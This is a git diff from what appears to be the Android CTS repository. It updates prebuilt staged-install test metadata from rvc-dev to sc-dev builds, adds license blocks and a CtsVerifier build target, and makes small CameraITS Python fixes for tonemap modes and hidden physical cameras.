--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_different_certificate_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_different_certificate_apex.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "6508977"
+    build_id: "7197701"
     target: "CtsShim"
     source_file: "aosp_x86_64/com.android.apex.cts.shim.v2_different_certificate.apex"
   }
@@ -8,5 +8,5 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "rvc-dev"
+  git_branch: "sc-dev"
 }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_different_package_name_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_different_package_name_apex.asciipb
index b19bcbb..0d881f4 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_different_package_name_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_different_package_name_apex.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "6508977"
+    build_id: "7197701"
     target: "CtsShim"
     source_file: "aosp_x86_64/com.android.apex.cts.shim.v2_different_package_name.apex"
   }
@@ -8,5 +8,5 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "rvc-dev"
+  git_branch: "sc-dev"
 }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_no_hashtree_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_no_hashtree_apex.asciipb
index 5344843..18032c2 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_no_hashtree_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_no_hashtree_apex.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "6508977"
+    build_id: "7197701"
     target: "CtsShim"
     source_file: "aosp_x86_64/com.android.apex.cts.shim.v2_no_hashtree.apex"
   }
@@ -8,5 +8,5 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "rvc-dev"
+  git_branch: "sc-dev"
 }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_sdk_target_p_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_sdk_target_p_apex.asciipb
index 8d97977..f9d23f7 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_sdk_target_p_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_sdk_target_p_apex.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "6508977"
+    build_id: "7197701"
     target: "CtsShim"
     source_file: "aosp_x86_64/com.android.apex.cts.shim.v2_sdk_target_p.apex"
   }
@@ -8,5 +8,5 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "rvc-dev"
+  git_branch: "sc-dev"
 }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_signed_bob_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_signed_bob_apex.asciipb
index 979d5ec..f3638c65 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_signed_bob_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_signed_bob_apex.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "6508977"
+    build_id: "7197701"
     target: "CtsShim"
     source_file: "aosp_x86_64/com.android.apex.cts.shim.v2_signed_bob.apex"
   }
@@ -8,5 +8,5 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "rvc-dev"
+  git_branch: "sc-dev"
 }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_signed_bob_rot_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_signed_bob_rot_apex.asciipb
index 88c6a14..b9a1e22 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_signed_bob_rot_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_signed_bob_rot_apex.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "6508977"
+    build_id: "7197701"
     target: "CtsShim"
     source_file: "aosp_x86_64/com.android.apex.cts.shim.v2_signed_bob_rot.apex"
   }
@@ -8,5 +8,5 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "rvc-dev"
+  git_branch: "sc-dev"
 }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_signed_bob_rot_rollback_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_signed_bob_rot_rollback_apex.asciipb
index 19da60b..9d69dff 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_signed_bob_rot_rollback_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_signed_bob_rot_rollback_apex.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "6508977"
+    build_id: "7197701"
     target: "CtsShim"
     source_file: "aosp_x86_64/com.android.apex.cts.shim.v2_signed_bob_rot_rollback.apex"
   }
@@ -8,5 +8,5 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "rvc-dev"
+  git_branch: "sc-dev"
 }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_unsigned_payload_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_unsigned_payload_apex.asciipb
index e511c01..a056b2f 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_unsigned_payload_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_unsigned_payload_apex.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "6508977"
+    build_id: "7197701"
     target: "CtsShim"
     source_file: "aosp_x86_64/com.android.apex.cts.shim.v2_unsigned_payload.apex"
   }
@@ -8,5 +8,5 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "rvc-dev"
+  git_branch: "sc-dev"
 }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_with_post_install_hook_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_with_post_install_hook_apex.asciipb
index 8266f21..2d181f0 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_with_post_install_hook_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_with_post_install_hook_apex.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "6508977"
+    build_id: "7197701"
     target: "CtsShim"
     source_file: "aosp_x86_64/com.android.apex.cts.shim.v2_with_post_install_hook.apex"
   }
@@ -8,5 +8,5 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "rvc-dev"
+  git_branch: "sc-dev"
 }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_with_pre_install_hook_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_with_pre_install_hook_apex.asciipb
index 737ee4c..b0bc1f9 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_with_pre_install_hook_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_with_pre_install_hook_apex.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "6508977"
+    build_id: "7197701"
     target: "CtsShim"
     source_file: "aosp_x86_64/com.android.apex.cts.shim.v2_with_pre_install_hook.apex"
   }
@@ -8,5 +8,5 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "rvc-dev"
+  git_branch: "sc-dev"
 }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_without_apk_in_apex_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_without_apk_in_apex_apex.asciipb
index df032f0..48fac6c 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_without_apk_in_apex_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_without_apk_in_apex_apex.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "6508977"
+    build_id: "7197701"
     target: "CtsShim"
     source_file: "aosp_x86_64/com.android.apex.cts.shim.v2_without_apk_in_apex.apex"
   }
@@ -8,5 +8,5 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "rvc-dev"
+  git_branch: "sc-dev"
 }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_wrong_sha_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_wrong_sha_apex.asciipb
index 8700d88..457f945 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_wrong_sha_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v2_wrong_sha_apex.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "6508977"
+    build_id: "7197701"
     target: "CtsShim"
     source_file: "aosp_x86_64/com.android.apex.cts.shim.v2_wrong_sha.apex"
   }
@@ -8,5 +8,5 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "rvc-dev"
+  git_branch: "sc-dev"
 }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v3_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v3_apex.asciipb
index 400f61c..58c8864 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v3_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v3_apex.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "6508977"
+    build_id: "7197701"
     target: "CtsShim"
     source_file: "aosp_x86_64/com.android.apex.cts.shim.v3.apex"
   }
@@ -8,5 +8,5 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "rvc-dev"
+  git_branch: "sc-dev"
 }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v3_signed_bob_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v3_signed_bob_apex.asciipb
index 17ae337..c73132c 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v3_signed_bob_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v3_signed_bob_apex.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "6508977"
+    build_id: "7197701"
     target: "CtsShim"
     source_file: "aosp_x86_64/com.android.apex.cts.shim.v3_signed_bob.apex"
   }
@@ -8,5 +8,5 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "rvc-dev"
+  git_branch: "sc-dev"
 }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v3_signed_bob_rot_apex.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v3_signed_bob_rot_apex.asciipb
index a825aba..e295e80 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v3_signed_bob_rot_apex.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apex__x86_com_android_apex_cts_shim_v3_signed_bob_rot_apex.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "6508977"
+    build_id: "7197701"
     target: "CtsShim"
     source_file: "aosp_x86_64/com.android.apex.cts.shim.v3_signed_bob_rot.apex"
   }
@@ -8,5 +8,5 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "rvc-dev"
+  git_branch: "sc-dev"
 }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apk_CtsShimTargetPSdk__arm_CtsShimTargetPSdk_apk.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apk_CtsShimTargetPSdk__arm_CtsShimTargetPSdk_apk.asciipb
index f83e3be..f5f8566 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apk_CtsShimTargetPSdk__arm_CtsShimTargetPSdk_apk.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apk_CtsShimTargetPSdk__arm_CtsShimTargetPSdk_apk.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "6508977"
+    build_id: "7197701"
     target: "CtsShim"
     source_file: "aosp_arm64/CtsShimTargetPSdk.apk"
   }
@@ -8,5 +8,5 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "rvc-dev"
+  git_branch: "sc-dev"
 }
diff --git a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apk_CtsShimTargetPSdk__x86_CtsShimTargetPSdk_apk.asciipb b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apk_CtsShimTargetPSdk__x86_CtsShimTargetPSdk_apk.asciipb
index 89ebb7c..f22f680 100644
--- a/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apk_CtsShimTargetPSdk__x86_CtsShimTargetPSdk_apk.asciipb
+++ b/.prebuilt_info/prebuilt_info_hostsidetests_stagedinstall_testdata_apk_CtsShimTargetPSdk__x86_CtsShimTargetPSdk_apk.asciipb
@@ -1,6 +1,6 @@
 drops {
   android_build_drop {
-    build_id: "6508977"
+    build_id: "7197701"
     target: "CtsShim"
     source_file: "aosp_x86_64/CtsShimTargetPSdk.apk"
   }
@@ -8,5 +8,5 @@
   version: ""
   version_group: ""
   git_project: "platform/cts"
-  git_branch: "rvc-dev"
+  git_branch: "sc-dev"
 }
diff --git a/Android.bp b/Android.bp
index 2dce5de..1401117 100644
--- a/Android.bp
+++ b/Android.bp
@@ -1,3 +1,35 @@
+package {
+    default_applicable_licenses: ["cts_license"],
+}
+
+// Added automatically by a large-scale-change that took the approach of
+// 'apply every license found to every target'. While this makes sure we respect
+// every license restriction, it may not be entirely correct.
+//
+// e.g. GPL in an MIT project might only apply to the contrib/ directory.
+//
+// Please consider splitting the single license below into multiple licenses,
+// taking care not to lose any license_kind information, and overriding the
+// default license using the 'licenses: [...]' property on targets as needed.
+//
+// For unused files, consider creating a 'fileGroup' with "//visibility:private"
+// to attach the license to, and including a comment whether the files may be
+// used in the current project.
+// See: http://go/android-license-faq
+license {
+    name: "cts_license",
+    visibility: [":__subpackages__"],
+    license_kinds: [
+        "SPDX-license-identifier-Apache-2.0",
+        "SPDX-license-identifier-BSD",
+        "SPDX-license-identifier-CC-BY",
+        "SPDX-license-identifier-MIT",
+        "SPDX-license-identifier-NCSA",
+        "legacy_unencumbered",
+    ],
+    // large-scale-change unable to identify any license_text files
+}
+
 java_defaults {
     name: "cts_error_prone_rules",
     errorprone: {
diff --git a/PREUPLOAD.cfg b/PREUPLOAD.cfg
index 7b9c427..2572b01 100644
--- a/PREUPLOAD.cfg
+++ b/PREUPLOAD.cfg
@@ -36,6 +36,9 @@
                       tests/tests/view/
                       tests/tests/widget/
                       common/device-side/util/
+                      hostsidetests/car/
+                      hostsidetests/multiuser/
+                      hostsidetests/scopedstorage/
                       hostsidetests/stagedinstall/
                       hostsidetests/userspacereboot/
                       tests/tests/packageinstaller/atomicinstall/
diff --git a/apps/CameraITS/pymodules/its/caps.py b/apps/CameraITS/pymodules/its/caps.py
index ddb3c95..9c228d3 100644
--- a/apps/CameraITS/pymodules/its/caps.py
+++ b/apps/CameraITS/pymodules/its/caps.py
@@ -410,6 +410,19 @@
             "android.edge.availableEdgeModes") and mode \
             in props["android.edge.availableEdgeModes"];
 
+def tonemap_mode(props, mode):
+    """Returns whether a device supports the tonemap mode.
+
+    Args:
+        props: Camera properties object.
+        mode: Integer, indicating the tonemap mode to check for availability.
+
+    Return:
+        Boolean.
+    """
+    return props.has_key(
+            "android.tonemap.availableToneMapModes") and mode \
+            in props["android.tonemap.availableToneMapModes"];
 
 def lens_calibrated(props):
     """Returns whether lens position is calibrated or not.
diff --git a/apps/CameraITS/pymodules/its/cv2image.py b/apps/CameraITS/pymodules/its/cv2image.py
index c71ef24..09265e9 100644
--- a/apps/CameraITS/pymodules/its/cv2image.py
+++ b/apps/CameraITS/pymodules/its/cv2image.py
@@ -38,6 +38,7 @@
 SCALE_RFOV_IN_WFOV_BOX = 0.67
 SCALE_TELE_IN_RFOV_BOX = 0.67
 SCALE_TELE_IN_WFOV_BOX = 0.5
+SCALE_SUPER_TELE_IN_RFOV_BOX = 0.5
 
 VGA_HEIGHT = 480
 VGA_WIDTH = 640
@@ -52,6 +53,9 @@
     elif (camera_fov <= FOV_THRESH_TELE and
           numpy.isclose(chart_distance, CHART_DISTANCE_WFOV, rtol=0.1)):
         chart_scaling = SCALE_TELE_IN_WFOV_BOX
+    elif (camera_fov <= FOV_THRESH_SUPER_TELE and
+          numpy.isclose(chart_distance, CHART_DISTANCE_RFOV, rtol=0.1)):
+        chart_scaling = SCALE_SUPER_TELE_IN_RFOV_BOX
     elif (camera_fov <= FOV_THRESH_TELE and
           numpy.isclose(chart_distance, CHART_DISTANCE_RFOV, rtol=0.1)):
         chart_scaling = SCALE_TELE_IN_RFOV_BOX
@@ -106,6 +110,7 @@
         if not self.xnorm:
             with its.device.ItsSession(camera_id) as cam:
                 props = cam.get_camera_properties()
+                props = cam.override_with_hidden_physical_camera_props(props)
                 if its.caps.read_3a(props):
                     self.locate(cam, props)
                 else:
diff --git a/apps/CameraITS/pymodules/its/device.py b/apps/CameraITS/pymodules/its/device.py
index 9806359..2e2c775 100644
--- a/apps/CameraITS/pymodules/its/device.py
+++ b/apps/CameraITS/pymodules/its/device.py
@@ -449,6 +449,7 @@
                 self._hidden_physical_id, self._camera_id)
             assert self._hidden_physical_id in physical_ids, e_msg
             props = self.get_camera_properties_by_id(self._hidden_physical_id)
+            self.props = props
         return props
 
     def get_camera_properties(self):
diff --git a/apps/CameraITS/pymodules/its/target.py b/apps/CameraITS/pymodules/its/target.py
index 01d3c5f..8cf802c 100644
--- a/apps/CameraITS/pymodules/its/target.py
+++ b/apps/CameraITS/pymodules/its/target.py
@@ -191,9 +191,11 @@
         with its.device.ItsSession() as cam:
             exposure = get_target_exposure(cam)
             props = cam.get_camera_properties()
+            props = cam.override_with_hidden_physical_camera_props(props)
     else:
         exposure = get_target_exposure(its_session)
         props = its_session.get_camera_properties()
+        props = its_session.override_with_hidden_physical_camera_props(props)
 
     sens_range = props['android.sensor.info.sensitivityRange']
     exp_time_range = props['android.sensor.info.exposureTimeRange']
diff --git a/apps/CameraITS/tests/scene1_2/test_param_tonemap_mode.py b/apps/CameraITS/tests/scene1_2/test_param_tonemap_mode.py
index 45a5b13..261eed1 100644
--- a/apps/CameraITS/tests/scene1_2/test_param_tonemap_mode.py
+++ b/apps/CameraITS/tests/scene1_2/test_param_tonemap_mode.py
@@ -39,7 +39,8 @@
     with its.device.ItsSession() as cam:
         props = cam.get_camera_properties()
         its.caps.skip_unless(its.caps.compute_target_exposure(props) and
-                             its.caps.per_frame_control(props))
+                             its.caps.per_frame_control(props) and
+                             its.caps.tonemap_mode(props, 0))
 
         debug = its.caps.debug_mode()
         largest_yuv = its.objects.get_largest_yuv_format(props)
diff --git a/apps/CameraITS/tests/scene2_a/test_jpeg_quality.py b/apps/CameraITS/tests/scene2_a/test_jpeg_quality.py
index d8acb2a..cc117be 100644
--- a/apps/CameraITS/tests/scene2_a/test_jpeg_quality.py
+++ b/apps/CameraITS/tests/scene2_a/test_jpeg_quality.py
@@ -26,7 +26,7 @@
 import numpy as np
 
 JPEG_APPN_MARKERS = [[255, 224], [255, 225], [255, 226], [255, 227], [255, 228],
-                     [255, 235]]
+                     [255, 229], [255, 230], [255, 231], [255, 232], [255, 235]]
 JPEG_DHT_MARKER = [255, 196]  # JPEG Define Huffman Table
 JPEG_DQT_MARKER = [255, 219]  # JPEG Define Quantization Table
 JPEG_DQT_TOL = 0.8  # -20% for each +20 in jpeg.quality (empirical number)
diff --git a/apps/CameraITS/tests/scene4/test_multi_camera_alignment.py b/apps/CameraITS/tests/scene4/test_multi_camera_alignment.py
index 67f3806..7ca6e24 100644
--- a/apps/CameraITS/tests/scene4/test_multi_camera_alignment.py
+++ b/apps/CameraITS/tests/scene4/test_multi_camera_alignment.py
@@ -279,8 +279,8 @@
         dist_y = abs(child_shape['cty']-prt_shape['cty'])
         # 1. 0.56*Parent's width < Child's width < 0.76*Parent's width.
         # 2. 0.56*Parent's height < Child's height < 0.76*Parent's height.
-        # 3. Child's width > 0.1*Image width
-        # 4. Child's height > 0.1*Image height
+        # 3. Child's width > 0.075*Image width
+        # 4. Child's height > 0.075*Image height
         # 5. 0.25*Parent's area < Child's area < 0.45*Parent's area
         # 6. Child == 0, and Parent == 255
         # 7. Center of Child and center of parent should overlap
@@ -288,8 +288,8 @@
                     < prt_shape['width'] * 0.76
                     and prt_shape['height'] * 0.56 < child_shape['height']
                     < prt_shape['height'] * 0.76
-                    and child_shape['width'] > 0.1 * size[1]
-                    and child_shape['height'] > 0.1 * size[0]
+                    and child_shape['width'] > 0.075 * size[1]
+                    and child_shape['height'] > 0.075 * size[0]
                     and 0.30 * prt_area < child_area < 0.50 * prt_area
                     and img_bw[child_shape['cty']][child_shape['ctx']] == 0
                     and img_bw[child_shape['top']][child_shape['left']] == 255
diff --git a/apps/CameraITS/tools/load_scene.py b/apps/CameraITS/tools/load_scene.py
index 0d58132..c1bd79e 100644
--- a/apps/CameraITS/tools/load_scene.py
+++ b/apps/CameraITS/tools/load_scene.py
@@ -37,7 +37,7 @@
         elif s[:4] == 'fov=' and len(s) > 4:
             camera_fov = float(s[4:])
         elif s[:7] == "camera=" and len(s) > 7:
-            camera_id = s[7:]
+            camera_id = str(s[7:])
 
     cmd = ('adb -s %s shell am force-stop com.google.android.apps.docs' %
            screen_id)
@@ -81,6 +81,7 @@
 
     with its.device.ItsSession() as cam:
         props = cam.get_camera_properties()
+        props = cam.override_with_hidden_physical_camera_props(props)
         cam.do_3a()
         req = its.objects.fastest_auto_capture_request(props)
         print "Capture an image to validate the light level"
diff --git a/apps/CameraITS/tools/run_all_tests.py b/apps/CameraITS/tools/run_all_tests.py
index c563471..67a62a3 100644
--- a/apps/CameraITS/tools/run_all_tests.py
+++ b/apps/CameraITS/tools/run_all_tests.py
@@ -306,6 +306,7 @@
     """Determine if camera rotation is run for this test."""
     with ItsSession(camera_id) as cam:
         props = cam.get_camera_properties()
+        props = cam.override_with_hidden_physical_camera_props(props)
         method = {'test_sensor_fusion': {
                           'flag': its.caps.sensor_fusion_test_capable(props, cam),
                           'runs': 10},
@@ -523,7 +524,7 @@
             id_combo_string += ItsSession.CAMERA_ID_TOKENIZER + id_combo.sub_id
             scenes = [scene for scene in scenes if HIDDEN_PHYSICAL_CAMERA_TESTS[scene]]
         # Loop capturing images until user confirm test scene is correct
-        camera_id_arg = "camera=" + id_combo.id
+        camera_id_arg = "camera=" + id_combo_string
         print "Preparing to run ITS on camera", id_combo_string, "for scenes ", scenes
 
         os.mkdir(os.path.join(topdir, id_combo_string))
diff --git a/apps/CameraITS/tools/validate_scene.py b/apps/CameraITS/tools/validate_scene.py
index 890cf12..e641718 100644
--- a/apps/CameraITS/tools/validate_scene.py
+++ b/apps/CameraITS/tools/validate_scene.py
@@ -50,6 +50,7 @@
                 "\nThe scene setup should be: " + scene_desc )
         # Converge 3A prior to capture.
         props = cam.get_camera_properties()
+        props = cam.override_with_hidden_physical_camera_props(props)
         cam.do_3a(do_af=do_af, lock_ae=its.caps.ae_lock(props),
                   lock_awb=its.caps.awb_lock(props))
         req = its.objects.fastest_auto_capture_request(props)
diff --git a/apps/CrossProfileTestApp/Android.bp b/apps/CrossProfileTestApp/Android.bp
index 71e0acc..948a94e 100644
--- a/apps/CrossProfileTestApp/Android.bp
+++ b/apps/CrossProfileTestApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CrossProfileTestApp",
     defaults: ["cts_defaults"],
diff --git a/apps/CtsVerifier/Android.bp b/apps/CtsVerifier/Android.bp
index 01c579e..e2821e9 100644
--- a/apps/CtsVerifier/Android.bp
+++ b/apps/CtsVerifier/Android.bp
@@ -1,4 +1,78 @@
+package {
+    // See: http://go/android-license-faq
+    // A large-scale-change added 'default_applicable_licenses' to import
+    // all of the 'license_kinds' from "cts_license"
+    // to get the below license kinds:
+    //   SPDX-license-identifier-Apache-2.0
+    //   SPDX-license-identifier-BSD
+    //   SPDX-license-identifier-CC-BY
+    default_applicable_licenses: ["cts_license"],
+}
+
 filegroup {
     name: "CtsVerifierMockVrListenerServiceFiles",
     srcs: ["src/com/android/cts/verifier/vr/MockVrListenerService.java"],
 }
+
+android_test {
+    name: "CtsVerifier",
+    defaults: ["cts_error_prone_rules_tests"],
+
+    compile_multilib: "both",
+
+    srcs: [
+        "src/**/*.java",
+        "src/**/I*.aidl",
+    ],
+
+    aidl: {
+        include_dirs: ["frameworks/native/aidl/gui"],
+    },
+
+    static_libs: [
+        "android-ex-camera2",
+        "compatibility-common-util-devicesidelib",
+        "cts-sensors-tests",
+        "cts-camera-performance-tests",
+        "ctstestrunner-axt",
+        "apache-commons-math",
+        "androidplot",
+        "ctsverifier-opencv",
+        "core-tests-support",
+        "androidx.legacy_legacy-support-v4",
+        "mockito-target-minus-junit4",
+        "mockwebserver",
+        "compatibility-device-util-axt",
+        "platform-test-annotations",
+        "cts-security-test-support-library",
+        "cts-midi-lib",
+        "cbor-java",
+        "CtsCameraUtils",
+        "androidx.legacy_legacy-support-v4",
+        "CtsForceStopHelper-constants",
+    ],
+
+    libs: ["telephony-common"] + ["android.test.runner.stubs"] + ["android.test.base.stubs"] + ["android.test.mock.stubs"] + ["android.car"] + ["voip-common"] + ["truth-prebuilt"],
+
+    platform_apis: true,
+
+    jni_libs: [
+        "libctsverifier_jni",
+        "libctsnativemidi_jni",
+        "libaudioloopback_jni",
+    ],
+
+    optimize: {
+        proguard_flags_files: ["proguard.flags"],
+    },
+
+    dex_preopt: {
+        enabled: false,
+    },
+}
+
+// opencv library
+java_import {
+    name: "ctsverifier-opencv",
+    jars: ["libs/opencv3-android.jar"],
+}
diff --git a/apps/CtsVerifier/Android.mk b/apps/CtsVerifier/Android.mk
index c22e03d..ab0d539 100644
--- a/apps/CtsVerifier/Android.mk
+++ b/apps/CtsVerifier/Android.mk
@@ -15,65 +15,6 @@
 #
 
